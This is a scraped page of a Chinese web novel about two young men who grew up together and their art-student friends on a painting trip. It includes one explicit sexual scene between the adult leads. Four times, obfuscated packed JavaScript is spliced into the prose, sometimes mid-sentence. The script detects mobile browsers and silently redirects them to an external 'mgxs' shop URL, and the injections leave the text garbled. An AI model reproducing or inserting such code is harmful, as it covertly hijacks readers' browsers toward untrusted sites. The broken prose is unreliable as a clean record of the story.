;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248893|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间早已习惯枕边人小动作的柯杭,已经能把这当做助眠的一环。 “我下个月可能要去我爸那里,他想让我提前接触一下他那一行。”李一谦说的很小声,“如果你不想我去的话,我就不去了。” 柯杭:“去呗,对你有帮助就去。” “那我到时候看看能不能做个小机器人送给你。”李一谦手指捻着柯杭的一撮浅发。 过了好久,房间安静下来。 空调好像是开低了点儿,柯杭想。身体往后面的热源靠了靠,没注意到对方忽然像被按下了静止键。 N市因为地理位置天亮的早,黑的也早。 他们中午两点过吃完东西,各自回房,现在天已经半黑。 柯杭从睡梦中醒来时,发现房间内完全黑了。 外面天已经黑了? 他摸了摸旁边,没人也没有余温,说明李一谦早起床了。 现在已经六点,柯杭起床,拉开不远处的窗帘。 桔红色的晚霞像霍霍燃烧的火焰,与暗淡的乌云相融交汇,地平线上还晕着一抹淡色。 柯杭被其吸引,不小心入了迷。 火焰被吞噬,淡色被深色晕染,霓虹灯彩。 这座城市的夜晚,开始了。 柯杭这一觉睡得舒服,伸了个懒腰,拉开房间门准备看看大家都起来没。 一进客厅,发现落地窗前坐着两个人。 他走到两人身后,画架上的画已经成型,一个色彩明亮十分写实,另一个偏卡通风格,画上的人物看起来已经进入战斗状态。 “醒啦?”易清头也没回,忽然开口。 柯杭:“醒了,我弟呢?” “好像跟琨哥一起出去买东西了。” “他们俩出去买什么东西?”柯杭纳闷。 易清:“哎呀,不清楚。好像是看厨房有锅准备煮个火锅?” “那你们俩不去帮忙在这儿画什么画?” 万煦言辞恳切,情感丰富:“我们争取在他们回来前画好,把画奖励给勤劳的一大一小!” “……” 柯杭拉了个矮凳在他们旁边坐下。 易清是个闲不住嘴的,之前因为柯杭在睡觉,声音可小了,现在柯杭睡醒了,他便拉柯杭唠嗑。 “杭哥,你手头主笔的那个漫画什么时候能完结?”易清问。 柯杭没隐瞒过自己的兼职,最开始也因为纯爱题材犹豫过。但是,当他拜读了一下原著后,觉得也还行。 这本小说据说被某家千金看上,后续会翻拍,翻拍成短剧还是小电影,柯杭就不得而知了。 这部漫画他接手后,书粉的反响还不错,也让他收获了一批粉丝。 漫画已经开更一年了,他画的进度比更新快,不出意外的话,年底就能画完。 “这样啊,那后面有没有什么新的想法啊?” “再说吧。” 如果可以,他更想接商稿,画完甲方满意就结钱了。但画改编漫不一样,复杂得多。 他们有一搭没一搭的聊了一会儿,大门终于被打开。 琨哥和李一谦提着大包小包进了厨房。 李一谦看到他时,举起手中的食品袋,冲他眨眼。 柯杭嘴角勾起笑。 17. 哥哥帮你 “琨哥!带饮料没!”易清回头,犹如看见再生父母,激动地想扑过去。 意外就发生在这一刻。 易清动作太大,转身迈腿的同时,被凳子绊了一下,脸朝下跌去。 柯杭听到动静条件反射想要去接,但已经来不及。 还好易清旁边的万煦及时拉了一把,揪住对方的衣领,让易清有个缓冲,双手先着地,没让脸贴地上。 “吓死我了。”柯杭边说边去扶易清,“手没事儿吧?” “没事没事。”易清搭住柯杭的手臂站了起来,身后的人却没把手从他衣领松开。他用手抓住自己的衣领,扭头看向万煦,“万煦,松手,要勒死我啦!” 万煦神色淡淡的:“跟我说谢谢。” “谢谢你啦,万煦。”易清朝他笑。 易清未语先笑,让万煦想到家里养的萨摩耶。听到想听的话后,他才不慌不忙松开手,“以后小心点儿。” 刚进门的两人也提着东西跑过来看他情况。 “还好还好,就脖子勒得比较痛。”易清挠挠脸,注意力被那堆购物袋转移,走过去扒拉:“让我看看买了些什么。” “扇贝、牛肉、丸子!我最喜欢鱼丸了!”他一边扒拉一边念,直到把买来的菜和酒全清点一遍。 柯杭提着他清点好的菜进了厨房,洗菜切菜,对他来说不难。 几个人轮流在厨房忙活,最后留李一谦在厨房里备汤锅,柯杭在厨房陪他。 李一谦劝他:“哥,你先出去,等会儿再进来,一会儿油烟大,容易呛,熏着眼睛。” “呛的话我自己出去。” 李一谦无奈:“好吧。” 五分钟后。 柯杭出了厨房,并花一秒钟决定,以后对李一谦再好点。 实在是太呛人了,油烟直往眼睛鼻子里钻,眼泪都给他熏出来了。 “来擤下鼻子。”琨哥从餐桌上抽了张刚买的湿纸巾递给他。 柯杭接过,擤了擤鼻子,又抽了一张揉了揉眼。 “太呛人了。” 琨哥看他模样笑了:“做饭就是这样啊。” “我以后一定对李一谦好一点,不随便使唤他了。” “哈哈你们俩换个身份吧,杭子你适合当人家弟弟。”万煦也才一旁笑着。 柯杭:…… 好没尊严。 柯杭装作很忙的样子,抽了双一次性筷子去夹卤味,有他最喜欢的脆藕。 他又想到李一谦在厨房的样子,转回房间拿出平板。 “干嘛啊,别卷我们。”易清瞪他, 柯杭头也没抬,拿着笔在平板上勾勾画画:“卷什么卷,我从来不卷。” “过会儿喝酒,我怕忘了,先勾线明天细化。” 易清把脑袋凑到他跟前看:“什么东西?” “条漫,最近才想起更,看的人不少。” “我好久没看微博了,容小弟去看了膜拜膜拜你。” 易清在微博上搜出柯杭的账号,点进去看,最新一条叫“闹别扭”。 几格漫画,画出那天李一谦因为柯杭不让他搭肩闹的别扭。 “我靠,弟弟那么可爱,还会因为你不让他挨着闹别扭啊?”又过了几秒:“不对,这评论区说的怎么跟我看的不像是同一个内容啊。” 柯杭扶额:“嗯……她们有自己的想法。” 没一会儿,厨房门打开了,李一谦端着电煮锅出来了。 “好香。”万煦惊叹。 李一谦:“炒的时候又放了点料。” 他们五个人,四个人面对面坐,李一谦单独坐在“上位”,在柯杭旁边, 柯杭凑过去闻了闻李一谦身上的味道:“你已经被火锅腌入味儿了二谦。”他又揉了一把脑袋,“真厉害。” 红晕慢慢爬上他的脸颊,但并不明显:“嗯。” 菜买的不少,他们一群男生胃口也大。 柯杭看见易清在桌底摸了摸,接着托起一瓶生命之水。 万煦面无表情地看着他:“我以为至少是喝过的,结果你拿了一瓶新的。” “不止。”易清脸上带着点小骄傲,不知道从哪儿又摸出一瓶橙色朗姆酒,“铛铛铛!新入手的史密斯。” 柯杭下意识看了李一谦一眼,从对方眼里看到了惊讶,于是斩钉截铁:“你不准喝。” 李一谦眼里带着点笑:“为什么?我成年了。” “因为我要喝,你醉了就没办法照顾我了。”柯杭严肃道。 琨哥在一旁都看不下去了:“小谦你想喝就喝,到时候我弄你俩。” “谢谢琨哥,我不会喝,就不喝了。” 对于李一谦的听话,柯杭十分满意。心情好,和朋友喝着小酒,不知不觉就喝的多了些。 柯杭再次确定自己醉酒后的酒品很好,不然他们肯定不会拉他喝酒。 酒过三巡,肚子里全是食物和酒,柯杭觉得有些难受,去卫生间小解。洗手的时候抬头一看,泛红的脸,眼里波光凌凌的,想到这儿他扯起一个笑。 他在洗手台面前站定,对着镜子做出各种表情,对自己下了个“没醉”的结果。 没一会儿,门被敲响,声音若即若离的。 柯杭拉开门,发现李一谦维持着敲门的动作直直地站在门口。 “等我啊?”他问。 李一谦托着他一只胳膊,劝说道:“易清已经喝趴下了,不会跟你拼酒了。” “哇,太好了。”柯杭松了口气,旋即苦恼道:“我都已经有点头晕了。” 李一谦试探着问:“那不喝了?” “不喝了不喝了,肚子里全是水,上了个厕所全空了。” 柯杭对于旅行第一晚的记忆就止步于此,再次醒来,天已经蒙蒙亮了。 脑袋昏。 大家应该都还没起,不然早就该叫他了。翻身的时候才发现李一谦没在床上。 他坐起身,眼里还有刚醒睡的茫然,我那么大一个弟弟呢?不会就做饭去了吧? 将手伸到旁边摸了摸,没什么温度,应该起床有一会儿了。 柯杭打着哈欠起身,咂吧咂吧嘴,还有残留的酒味。 难道昨晚没刷牙? 不会吧!? 他对着手掌哈了口气,夸张地“yue”了一声。转身下床,踩着拖鞋出卧室去卫生间。 几步之间,他就想明白了,李一谦不会让他不干不净上床的。 卫生间门关着,灯也没亮,他没在意,去拧把手。 柯杭:? 拧不动。 又拧了几下的柯杭:? 总不能坏了吧。 不能吧。 柯杭又拧了几次把手,都拧不动,卫生间内马上传出声音来,“哥,我在里面,马上出来。” “干嘛呢你,开门,我要上厕所。” 里面是一阵窸窸窣窣的慌乱。 灯被打开了,大概一分钟的样子,门也开了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248894|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柯杭看见了裸露着上半身的李一谦。 他眯起眼打量面前的人,身材不错,脸上泛着不正常的红,胸膛也有一层薄薄的粉色。侧着身子,像是在掩藏什么。 柯杭鼻子动了动,目光下移。 嚯。 藏得住么这。 可能是酒精的余韵还在,柯杭觉得自己脑子还维持着不清醒的状态,言行不受理智所控。 他推了一把李一谦,关灯关门一气呵成。 李一谦小腿碰到冰凉的马桶,有些无措地看着柯杭。 柯杭却蛮横地让他坐下,手搭在他肩上,自上而下地凝视他,像居高临下的魅魔,引诱他做感性的决定。 可他又是那么无辜纯洁。 “解决好了?”柯杭的嗓音还带有刚睡醒的沙哑。 李一谦一直勾勾地盯住他,说不出半点“好”的话来:“没。” 接着,他听见这个魅魔对他说:“叫声好听的,哥哥帮你。” 李一谦情不自禁,声音却颤抖:“……哥?” “闭眼。”柯杭伸出一根指头抵在他的胸口。 对于柯杭的命令,李一谦总是服从的。他闭上眼,顺着柯杭的力气依靠在身后的水箱上。 下一秒,柯杭在他大腿上坐下,手换了地方,一个不轻不重的巴掌落在腹肌上:“腿别分那么开。” 李一谦稍稍合拢双腿,柯杭臀部悬空,食指勾起他宽松的短裤,整只手往里探入。 “怎么没穿?”柯杭问得直白,好似还未意识到,在这昏暗的狭小空间内,他们两人太过暧昧。 刚才敲门声又细又密,他怕吵醒楼上的几个人,匆匆套上裤子就开了门、 至于换洗的么,挂在浴巾架上,没来得及换。 柯杭手上会戴一些装饰性的银戒,昨天李一谦忘了给他取,此时握住他的手上有就两枚。 戒指是冰凉的,此时更是刺激着半蛰伏的欲望。 “哥,戒指好凉。”李一谦放任自己抱住柯杭,头埋在对方的肩窝,像小兽撒娇般磨蹭着。 柯杭刺激着他的身体和大脑,李一谦只觉得欲罢不能,让他现在死了都情愿。 他也在想,柯杭这是什么意思? 为什么要帮他,为什么要坐在他腿上,为什么,为什么,为什么。 很快李一谦就没了别的念头。 顶部被指腹碾磨,他没忍住闷哼出声,悄悄吻着、蹭着柯杭的发梢。 “别撒娇。”柯杭用脑袋轻轻碰了他一下。 肌肤相亲的愉悦,不过如此了。 柯杭被他蹭得痒,不自在地偏头,温热的唇贴在他的脖颈上,手背被沾染上湿润的液体。 “哥…”李一谦难耐地叫他,头从他的肩上移开。水汪汪的眼睛盯着他看。 柯杭突然就清醒了。 头不晕了,气血不翻涌了,手也不酸了。 操。 他干了什么。 柯杭心里骂了自己八百遍,面上保持镇定,“行了,你先出去我尿个尿,憋死了。” 李一谦不动,抽出纸巾替他擦手,每根手指被粗糙的纸巾细细擦拭,手心发烫。 “快出去快出去,我等下自己洗。”柯杭赶人。 不算大的卫生间里全是麝香味,柯杭感觉自己要呼吸不畅了。 李一谦还扶着他的腰,语露羞涩:“我知道,但是哥,你先站起来。” 柯杭:…… 淦。 腿软了。 18. 瞬息 柯杭头晕得厉害,怎么回房间睡得回笼觉都不知道。 昨晚除了李一谦,大家喝的都有些多。 他们这群人平时也是习惯了昼夜颠倒,好在睡眠都不错,一觉十多个小时都能睡。 柯杭再次醒来是因为被人拉开窗帘疯狂摇晃,午时阳光正当刺眼,他不满地眯着眼。 “柯杭,柯杭,柯杭,醒!醒来!”易清溜进底楼卧室,坐在床边开始叫柯杭起床,“快醒!看!展!了!” 他觉得吵,翻身拉过被子继续睡。 心里纳闷,李一谦呢? 怎么是这个小兔崽子叫他,烦。 一想到李一谦,他立马想起自己睡觉中途醒来后,在厕所干的事情,瞬间清醒。 易清正准备掀柯杭被子,就见对方像诈尸一样坐起,于是猛地后退两步,埋怨道:“我的妈呀,吓死人了你!” 柯杭花两秒钟让自己冷静下来,睨了旁边的易清一眼。 “吵我睡觉者。”他伸手在自己脖子上比出抹脖子的动作。 易清发出杠铃般的笑声,飞快跑出房间,嘴里还说着:“中二病!我三点半睡的都醒了,你也太能睡了。” 卧室内的宁静与客厅的说说笑笑形成鲜明对比,柯杭很快起床。 收拾行李时,想到树多的地方蚊虫多,他没带太多色彩鲜艳的深色衣服。 从衣柜里扯出一条卡其色美式工装短裤和一件牛仔短衫,弯腰拿出一双白袜放在床上。 “等我五分钟,洗漱。” 他一溜烟冲进卫生间,上了厕所洗漱完,终于觉得舒服些了。 换好衣服后准备出发。 “你今天穿的好随意。”万煦对柯杭今天的穿搭做出评价。 柯杭懒得解释什么,“因为带的都是一些简单的衣服。” 平时他们一块儿出去玩,柯杭会精心搭配一番,衬衫外套个小马甲,戴顶帽子、项链手链什么的。 “戒指竟然还是昨天的戒指!”易清拍拍万煦让他看。 柯杭:“因为只带了这两个。” 柯杭的手很好看,修长而骨节分明,他也知道这点,所以总爱戴戒指装饰手指。 戒指戴在他手上也不知道是装饰了他还是展示戒指。想到不久前这两枚戒指似乎碰到过李一谦,他有些脸热。 话说,他起床那么久了,他竟然还没看见过李一谦。 害羞躲起来了? “没带别的。”柯杭打量了一下四周,没看见李一谦的踪影,问:“我弟呢?” “哦,弟弟啊,在上面帮琨哥捣鼓什么游戏。” 柯杭茫然:“什么游戏?” “哦,这个我知道。”易清答,“一个种田游戏,开始预约了,邀请足够多的新人预约可以得游戏内的虚拟奖励,还可以抽周边。” “哦。”柯杭点点头,“那不是应该找万煦吗?他不是半个搞计算机的吗?写点代码抢预约。” 万煦双手摊开,“这不道德,而且你弟说的是给琨哥搞个内测账号,我哪有这本事。” “那要怎么弄?” 易清挎上出行用的小包:“我们怎么知道,你自己问去。”然后拐拐旁边的万煦,“快去叫他们,我已经准备好了。” 万煦去把人叫下来,五人终于出门。 他们预留了三个小时的时间看展,去的路上讨论吃些什么。 公寓距离展区有些距离,他们还是选择开车,顺带加油。 柯杭想起刚才出门前的对话,随口问道:“琨哥,怎么开始玩游戏了?” “眼缘吧,说的是不肝不氪,轻松打造农家药田,而且他们宣传做的挺好的。”琨哥又说,“小谦帮大忙了,内测账号都能搞来。” 柯杭还是有些好奇,李一谦怎么搞来的,便问了。 “一个学弟给的。” “什么学弟?” “篮球社的,关系还不错,经常一块儿玩。” 柯杭又问:“哦,那他哪来的。” 万煦在一旁听着,幽幽开口,“你就像个查岗的。” “......”柯杭脸上有一瞬僵硬,但很快调整好。 甚至反驳道:“这就是我们的相处方式,知无不言,你不懂。” 李一谦在旁边附和般点点头,继续回答柯杭的问题:“琨哥玩的那个游戏所属的公司就在C市,游戏开发组里的工作人员又刚好是那个学弟的哥哥。” “哦。”柯杭的好奇心被满足了,又忍不住问:“他跟他哥哥怎么样。” “关系挺好的,给他游戏账号的是他二哥,他说他二哥很厉害,画画很好,打游戏也很厉害。” 柯杭听着莫名有些不爽:“那我打游戏呢?” 他也不知道这股怪异情绪是怎么来的,话没过脑子就说了出来。 李一谦面不改色:“很有特色,和你打游戏很开心。” “这样啊。” 易清心里啧啧连篇,弟弟真会睁眼说瞎话,柯杭的游戏技术差到令人发指,十有九输是夸张了些,但也大差不差。据他了解,柯杭玩得最好的游戏是钢琴块儿。 他们在展馆附近挑了家网上评分不错的中餐馆,吃完饭就直奔过去。 N市这场大型艺术展为期三月,主题叫做“瞬息”。 有很多国外装置艺术家的作品和很多新星创作者的有趣作品,这也是他们选择N市做写生地的原因之一。 艺术展开放的这三个月中,每天营业到晚上十点,游客有足够的时间,来享受艺术与不同领域融合带来的视觉震撼。 钢铁铸成的空间绘画、数万尼龙扎带扣成生命的起伏、由磨绳攀附绕成循环的网、看不见的光牵引照射出的指引线。 几个人进来没多久就分开了。 柯杭站在一个玻璃展品前拍照,身后的李一谦见此也拍了一张柯杭入境的照片。 他们来到一个纯白的空间,上面写着“伊甸:理想”。 柯杭朝旁边挥挥手,李一谦身体便往他倾了些,他压低声音说:“伊甸我们一般是说伊甸园,在圣经里又叫’乐园’,我感觉这个人好有想法。” 李一谦那点儿艺术细菌实在没什么用,干巴巴地问:“为什么?” “上帝在伊甸为亚当和夏娃建造乐园,乐园里有甘美的果实、满地奇珍异宝。让他们看管乐园的同时,也叮嘱不让他们碰善恶树,既然如此,为什么要出现善恶树呢,为什么会出现蛇来引诱他们犯错呢。” “纯白乐园啊,纯白而纯洁。我们长期呆在乐园里,能保持乐园的纯洁吗,或是说,能保证自己不迷失吗?让纯白沾染上别的颜色可太容易了。” 李一谦听不懂,莫名想起早上的事情,觉得柯杭在暗示他,早上不过是经不住引诱,一时的失误而已。 他喜欢现下两人的氛围,很喜欢柯杭凑在他耳边和他说悄悄话的感觉,决定不去想那么多。 “哥,你好厉害啊。”李一谦也和他咬耳朵,试着一起欣赏:“所以纯白是最初也是最理想的状态或者说颜色?” 柯杭带他往另一个展区走:“不知道啊,乱说的。” 李一谦:…… 他们俩走在一块儿,默契地没提早晨发生的事情。 展馆有三层,一层是体验式装置,一层静物装置,一层新星艺术者的作品。 体验式装置在三楼,他们现在刚到二楼。 柯杭看过几个觉得一般后,就有些走马看花的意味了,那些新星装置艺术者的作品是只有半个月的展期的,轮流更替。 “哥,我记得你去年的毕业展也有个类似的作品。” 被李一谦的声音吸引,柯杭扭头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248895|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看去,挑了挑眉,“他的作品居然过来了。” “谁?” “隔壁专业的,一起上过大课,人还不错,之前一起参过比赛。” 李一谦问:“什么比赛?” “就前两年,四五月份吧,给你发的画,什么比赛我忘了。”柯杭想了想,唏嘘道:“我记得他当时跟我说,有个学弟,校考的时候把复试稿发给朋友看,结果被抄袭,后来闹得很不愉快。他那份作品如果可以完成,百分之八十的可能性能进面。” “不过最后也得到了惩罚。” 李一谦却想到,比赛会不会也有同样的状况发生呢,当把受害者设想成柯杭,他不禁也有些恼怒:“他朋友怎么这样,还好你没有习惯给朋友发画稿。” “发啊,我不是给你发了么?” 柯杭时不时会给他发一幅自己觉得满意的画,再由他衷心夸赞。 但这些年柯杭参加什么比赛从来没和他说过,只会在获奖时给他看一下荣誉证书。 “你是说那些线稿是你参加比赛的草图?” “对啊,你不是还说好看么。” 李一谦不知道怎么形容此时的心情,“.......” 像是看出他心中的疑虑,柯杭揉揉他脑袋,“你最多也就拿给朋友看看,说你哥多牛逼,跟我那个比赛说不到一块儿去的。” 手忽然被握住,柯杭想起不久前这只手握住他手腕的触感。 李一谦的手不是秀气的那种,骨骼分明而有力,手背青筋微鼓,像网上说的,很有性张力。 然而李一谦只是把放在他脑袋上的手拿开。 柯杭心中想着事情,也有些尴尬,摸出手机看了眼,对李一谦说:“我们去楼上找找他们吧,楼上有个数字艺术展区,很有意思,他们都在那儿。” 来到三层四号展位,柯杭一眼看到了他们三个人。 展区名为“梦境空间”,是难得的互动装置。游客站在不同的画布感应区域前做动作,画布会通过AI生成影像投映在画布上。 易清和琨哥正站在几何画布前摆好动作,两秒后,画布上出现一幅毕加索风格的画,能看出两人勾肩搭背的样子,背景线条也很流畅。 而万煦在一旁给他俩拍照。 “这一百二花的太值了!”万煦看他俩走过来,感慨道。 一百二十元一张门票。 这个展区的成像程序是国外的数字艺术家携团队一起开发的,出乎意料的惊艳。 “你俩要不要去拍一张?”万煦指了指旁边没人的画布,介绍道:“这边这个是卡通风,刚才有对情侣来这儿,生成的画都很有意思。” 柯杭把手机递给万煦,推着李一谦往旁边走:“走走走,咱俩试试。” 他走到地上标线的地方,然后搭上李一谦的肩膀,嘀咕道:“我倒要看看能出现什么。” 画布上线条流动约莫五秒后,终于暂时定格下来。 在画上,他们深处一个浅褐色的海滩上,脚踩几个不同的互补色块,两人相互依偎,背后是一望无际的海洋与天空接轨。 “挺相亲相爱的嘛。”从几何画布过来的琨哥如是说道。 “嗯嗯,”易清猛猛点头,心直口快:“就是杭哥你手放下来让弟弟搭你肩上吧,不然总有一种你垫脚靠他的感觉。” 意思是在说柯杭比李一谦矮。 柯杭侧身冲他握紧拳头,“谨言慎行啊小易。” “我靠,你看,像亲了一样!”万煦指着柯杭身后的幕布,激动道。 柯杭:? 李一谦:? 柯杭刚才侧身时是朝里侧,李一谦又刚好偏头,装置台上的摄像头给他们记录下来,又生成一幅新的卡通像。 矮一点的小人依偎在高个小人肩边,手搭在对方胸膛,脸贴得很近。 19. 兄控? 花大半天时间结束市区内的看展打卡,第二天早晨众人驱车来到鸣鸟基地。 鸣鸟基地位于鸣鸟谷,是由当地旅游局扶持开业,集农家乐、露营等一系列户外活动的一家露营基地,两年前,终于在各大社交平台火起来,引旅客纷纷来打卡。 鸣鸟谷内有一片湖,湖泊清澈,有镜湖之称。但名字却随了山谷,叫鸣鸟湖。附近就是一座古色古香的小镇,本地的美术生的写生圣地。 露营形态也有很多,房车、山谷、宠物、音乐烧烤。旅客可以自带帐篷也可以租借基地的。 万煦租了一顶超级大帐篷,外带天幕,他们选择将帐篷安置在湖边。基地商店有各种器材、厨房用具和食物等的租用和购买。 易清看着窗外的景色,思考桌子放在哪儿好。 经过两天的公寓生活,易清已经知道吃饭该靠谁了。他力气大,可以帮忙搬东西什么的,万煦会调酒,琨哥会做饭。 还剩一个柯杭嘛,会备菜,但最重要的是起鼓励作用。因为他发现,每次李一谦做好一道菜后,柯杭恰好就会出现在厨房附近,帮忙尝菜,再给予夸赞或是摸头。 然后,李一谦就会干劲满满继续在厨房挥洒汗水。 但两人昨天的状态怪怪的,具体是李一谦怪。原来恨不得把眼睛放柯杭身上,昨天眼睛却一直躲躲闪闪。 结合两人从小一起长大,现在又表现的亲密无间。 易清觉得,李一谦绝对是个兄控没跑了。可是,李一谦看柯杭的眼神,又不像对兄长的倾慕。 怪。 很怪。 不过易清没去想那么多,毕竟这是人家俩兄弟的事,得空了八卦一下就行。 “易清!过来搭把手!” “就来!” 他们分工明确,本来准备先布置帐篷再一起去备菜,但李一谦说柯杭最近腱鞘炎犯了,不好搬那些。 此时闲不住的柯杭在农家乐里坐着,等腌好的肉,顺带削点儿土豆什么的,等他们收拾好就可以一起来把这些东西搬过去。 至于写生么,目前还没人提。 毕竟天大地大,吃饭最大,吃完再提画画的事情。 昨天凌晨回房间后,一觉睡醒他才开始悔恨,思考怎么跟李一谦解释。结果看李一谦还抱着他胳膊睡觉,没有半分别扭的样子,于是,柯杭脸也不红了,正常大方的和李一谦相处。 今天因为要来站位,所以他们起得蛮早。早上他是被叫醒的,匆匆忙忙洗漱完搬东西退房,吃完饭后又驱车一个多小时到鸣鸟谷。 目前他和李一谦还没单独说过话,主要是李一谦不主动和他说话,估计是因为昨天清晨那件不大不小的事情吧。 唉。 柯杭有些惆怅,他知道李一谦脸皮薄,或许当时不应该帮忙的,以为人家不在意,没想到只是睡着了不在意。 可是,李一谦都露出那样可怜巴巴的表情了,不帮心里不太过意得去。 那闹什么别扭呢?昨天不闹今天闹,反射弧也太钝了点吧。 难道是因为出来的快了点? 也不至于吧,他手也挺酸的。 他当时迷迷糊糊起的床,总不能李一谦前脚刚出门,他后脚就起床了? 然后被他碰到,很快出来,李一谦觉得没面儿。 柯杭仔细想了想,很有可能是这个原因。 决定找李一谦聊聊,再夸夸他,这样应该就好了吧? 而在另一边。 帐篷是现成的,因为清理麻烦,所以只招待住三天及以上的客户。 他们自力更生,在内铺上了柔软的地毯,放好几个枕头和床垫。角落里有矮脚置物柜,上面放着他们租来的移动WIFI。 “小谦,我们这边差不多了,你问问杭子那边还没好,好了我过去接他。”琨哥把枕头重叠在一块儿,边收拾边说。 李一谦应了声,找到一旁的手机准备给柯杭发消息,结果先收到了柯杭的消息。 [可可]:收拾好没,可以来接我了。 柯杭坐太久了,腰有点儿酸,便站起来活动了下四肢,摸出手机给李一谦发消息。 从农家乐到他们今晚的帐篷将近两百米,柯杭将食材收拾到一块儿,烤盘和清油在食材旁边,等琨哥开车来接。 手机响了一下,他低头一看,是李一谦的消息。 [二谦]:来了。小一打滚.gif 嚯,看来问题不大嘛,还用他画的小人给他发消息。 [木]:你自己来啊?那辆三轮你会开吗? 李一谦没回,估计正在路上。 他们的车停在基地划出的停车场里,进来后花钱租了一辆白色电动三轮车,琨哥开,他们几个把东西放进后车厢,易清先翻了上去,在目的地看守东西。 两趟把人接完,他们就分工明确地一部分布置帐篷,一部分搭建室外的用餐地。至于柯杭,则是被打发来处理食材,轻松,还有其他客人陪聊天。 发过消息后,柯杭的眼睛就流连在门口了,二百米不长,李一谦随时会出现。 当门口出现那抹身影,柯杭会心一笑,又和一旁的小姑娘说了几句。 等李一谦过来时,恰好听到柯杭的最后一句:“我的人来接我啦,先走一步。” “来啦。”柯杭眼睛弯弯的,像在为他的出现高兴,起身对身旁的小姑娘挥了挥手。 两人一起把食材运到车上,柯杭让李一谦挪挪位置,“挤一挤,我试试。” 他倒不觉得有什么不合适,以前两人玩电脑双人游戏时就经常挤在一块儿。 “太危险了,我让你。”李一谦说。 柯杭严肃点点头,“那保卫食材的任务就交给你了。” “遵命,长官。”李一谦踩在草坪上,跨上三轮车后车箱。 回到帐篷外,他们一起把东西搬下来摆在餐桌上。 “基地里是方便点儿,如果是自己带东西的话麻烦死。”万煦把椅子摆好。 柯杭认可:“确实,早知道不带椅子来了,还占地方。” “没事儿,问题不大。”万煦又说:“等会儿我们吃完得把桌子收拾干净,不然琨哥没法作画。” “好。” 柯杭看向远处因阳光而泛起粼粼波光的鸣鸟湖,抬起手遮挡湖面的反光,那处耀眼的涟漪却让手指陷入波荡,“哇哦。” 他叫李一谦:“二谦快过来,好东西。” 李一谦应声过来。 "抬起你的手,张开一点,对准那片涟漪。”他问,“像不像光在吃你的手指?” 李一谦脸上闪过一丝惊讶:“像。” 柯杭又没忍住揉了一把他的脑袋。 “喂!做事啊你俩!搁那儿干嘛!”站在他俩身后的易清叉腰吼道。 而他旁边万煦接道:“谈情说爱?” 柯杭转身赏了两人一个白眼。 一顿饭吃完,一起把残羹剩饭扔进大垃圾袋中运走。 五个人把遮阳伞挪了挪位置,除了李一谦,他们两两背对而坐。 他们绘画功底都不差,只是各有所长。 “我想玩那个,”柯杭对旁边的琨哥说,“拼画。” 柯杭说完就开始编排了:“琨哥,玩不玩,先起形。” “很想玩?”琨哥问。 柯杭点头:“特想,但你是不是很久没画过油画了?” “是啊,我叫易清来陪你玩吧。” 还没等琨哥换人过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248896|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易清想了个点子:“欸,弟弟一个人坐这儿好无聊的,先带他玩一下呗,抓阄画对方。” 其余两人也附和,显然怕李一谦呆着无聊。 柯杭嘴角不明显地抽搐了一下,将目光转向柯杭,“玩?” “玩。” “行,那就让大家见识一下你高超的绘画技术。”柯杭弯腰从包里拿出两张画纸,递了一张给李一谦,眼睛却看向其余人:“我先说好啊,我没教过他画画。” 万煦笑喷了:“哈哈你这个哥哥怎么回事,此地无银三百两!” “行了行了,抽签。”柯杭摆摆手。 大家又围着桌子坐下。 易清把手机放在桌子中央:“从弟弟开始,顺时针计数,弟弟是1,杭子2,琨哥3,万煦4,我5。” “现在抽1号画谁。”易清点击“开始”。 转盘开始转动,从极速到缓慢,到5开始龟速移动,转过1,在2与3的交界处停下,判定为2。 “Wow,期待~”易清向柯杭抛去个意味不明的笑眼,“弟弟画杭子,接下来看看杭子画谁。” 又转了几轮。 柯杭抽的3,琨哥抽的5,万煦抽的1,易清是4。 李一谦握着一只铅笔发问:“素描还是彩绘啊?” “都行都行!”易清抓住琨哥的手,深情款款:“琨哥,可以把我画成侠客吗!再提个字’天下第一帅’。” 柯杭身子往李一谦身上倒,用肩膀撞了他几下:“给我画好看点儿呗。” 